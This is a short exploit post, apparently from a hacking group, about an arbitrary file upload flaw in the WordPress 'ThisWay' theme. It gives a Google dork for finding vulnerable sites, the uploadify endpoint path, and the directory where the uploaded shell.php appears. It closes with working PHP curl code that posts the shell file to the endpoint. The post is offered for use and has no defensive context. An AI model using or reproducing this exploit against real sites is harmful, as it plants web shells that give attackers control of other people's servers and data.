ThisWay Theme Shell Upload

"ThisWay Theme Shell Upload"

Google Dork : /wp-content/themes/ThisWay/
Vulnerabillity : http://127.0.0.1/wp-content/themes/ThisWay/includes/uploadify/upload_settings_image.php
Shell Access : http://127.0.0.1/wp-content/uploads/[Years]/[month]/shell.php
Exploit Code :

<?php

$uploadfile="shell.php";

$ch = curl_init("http://[localhost].com/wp-content/themes/ThisWay/includes/uploadify/upload_settings_image.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

       array('Filedata'=>"@$uploadfile"));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

?>

Download Tutorial - ThisWay Shell Upload

Created by : Latunusa - No Name Cyber Team